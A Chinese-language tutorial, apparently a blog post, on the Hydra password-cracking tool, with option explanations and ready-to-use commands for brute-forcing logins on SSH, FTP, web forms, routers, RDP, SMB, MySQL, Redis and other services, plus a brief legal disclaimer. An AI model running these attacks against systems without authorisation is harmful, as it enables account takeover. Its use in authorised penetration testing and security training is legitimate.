简介

Hydra(九头蛇)是著名组织thc的一款开源的暴力密码工具,kali下是默认安装的,几乎支持所有协议的在线暴破,密码能否读取,在于字典是否强大以及电脑的性能。

此工具仅用于法律允许范围内!仅测试使用。


支持以下协议:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,

HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY,

HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTPS-POST、

HTTP 代理、ICQ、IMAP、IRC、LDAP、MEMCACHED、MONGODB、MS-SQL、MYSQL、NCP、NNTP、Oracle 监听器、

Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、Radmin、RDP、Rexec、Rlogin、

Rsh、RTSP、SAP/R3、SIP、SMB、SMTP、SMTP 枚举、SNMP v1+v2+v3、SOCKS5、

SSH(v1 和 v2)、SSHKEY、Subversion、Teamspeak (TS2)、Telnet、VMware-Auth、

VNC 和 XMPP。


版本下载

windows版本:https://github.com/maaaaz/thc-hydra-windows

官网版本:https://github.com/vanhauser-thc/thc-hydra


使用方法:

语法: Hydra -参数 IP 服务
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]

参数:

-R   恢复爆破(过程中断,,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务)
-S   采用SSL链接。
-s   PORT 可通过这个参数指定非默认端口。
-l   LOGIN 指定用户,对特定用户。
-L   FILE 指定用户名字典。
-p   PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P   FILE 大写,指定密码字典。
-e   ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C   FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M   FILE 指定目标列表文件一行一条。
-o   FILE 指定结果输出文件。
-f   在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t   TASKS 同时运行的线程数,默认为16。
-w   TIME 设置最大超时的时间,单位秒,默认是30s。
-v   / -V 显示详细过程。
-x   自定义密码
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。

注意点

1.自己创建字典,然后放在当前的目录下或者指定目录。

2.参数可以统一放在最后,格式比如hydra ip 服务 参数。

3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。

4.缺点,如果目标网站登录时候需要验证码就无法破解。

5.man hydra最万能。

6.或者hydra -U http-form等查看具体帮助。


用法示例:


ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

http


  • get方式提交,web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

post方式提交,web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

# 参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止,

# 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。

https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

语音通讯工具teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

路由器

hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
-l admin 为尝试破解的用户名。

# -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)

cisco:

hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

邮箱pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

rdp(windows远程登录):

hydra ip rdp -l administrator -P pass.txt -V

http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18

imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

telnet

hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V

数据库(mysql)

hydra -L username.txt -P password.txt mysql://目标IP:mysql端口号

如果服务使用的是默认端口,那么指令也可以这么写:

hydra -L username.txt -P password.txt 目标IP mysql

如果需要将爆破的过程打印出来就加个指令-v:

hydra -L username.txt -P password.txt -v mysql://目标IP:mysql端口号

注意事项:有的服务并没有账号,只需要输入密码,例如Redis,那么指令中就不需要账号文件,指令就这么写:

hydra -P password.txt redis://目标IP:redis端口号


以上就是Hydra工具使用方法啦,好好掌握一下叭!